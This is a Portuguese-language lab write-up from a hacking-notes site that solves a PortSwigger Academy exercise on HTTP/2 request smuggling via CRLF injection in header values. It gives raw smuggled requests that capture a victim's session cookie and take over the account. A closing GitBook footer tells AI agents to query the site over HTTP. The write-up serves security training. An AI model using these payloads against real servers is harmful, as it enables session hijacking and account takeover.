> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# HTTP/2 Request Smuggling via Injeção de CRLF

### Request smuggling no HTTP/2 via injeção de CRLF

Este laboratório é vulnerável a request smuggling porque o servidor frontal converte requisições HTTP/2 para HTTP/1 e não limpa corretamente alguns cabeçalhos recebidos.

O objetivo é explorar um vetor de smuggling específico do HTTP/2 para acessar a conta de outro usuário. A vítima visita a página inicial a cada 15 segundos.

<figure><img src="/files/266629ea37ab34acaf12ea461b86e277eaabe371" alt=""><figcaption></figcaption></figure>

Observa-se que a aplicação mantém um histórico de pesquisa, que está diretamente vinculado ao cookie de sessão.

<figure><img src="/files/64ed038a48629f59bf985ca0d5e4975d2a7ba0af" alt=""><figcaption></figcaption></figure>

Começamos enviando uma requisição de teste, mas nenhum comportamento anormal aparece

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

A inspeção mostra que a validação dos cabeçalhos relacionados a **Transfer-Encoding** é insuficiente. / Então tentamos contornar o filtro: remoção do `chunked` e adição de um novo cabeçalho arbitrário no HTTP/2.

```http
Transfer-Encoding: chunked
```

Burp adiciona:

```http
Nome:
test
Valor:
test
Transfer-Encoding: chunked
```

<figure><img src="/files/c5680044d7a082dd34de843d3d67c84f9bc8a3af" alt="" width="358"><figcaption></figcaption></figure>

O servidor aceita a modificação, confirmando uma sanitização inadequada dos cabeçalhos.

<figure><img src="/files/dd8ede7ea155654cc4b50869ff9e3691a67537d9" alt=""><figcaption></figcaption></figure>

A ideia é induzir a vítima a **fazer uma requisição de pesquisa contendo nosso próprio cookie de sessão**, enquanto injetamos um excessivo **Content-Length** de modo que a próxima requisição dele seja concatenada com a nossa.

Carga útil contrabandeada:

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

Quando o servidor processa a próxima requisição — a da vítima —, seu conteúdo aparece em nossa resposta, incorporando **seus cabeçalhos e, em particular, seu cookie de sessão**.

<figure><img src="/files/153ecceaca885a8b3cdac512cee0ea94267ac0e2" alt=""><figcaption></figcaption></figure>

Então podemos **sequestrar a sessão do usuário** e acessar sua conta.

<figure><img src="/files/1da39af1512d082f99cbdff9a07563159ad2971d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
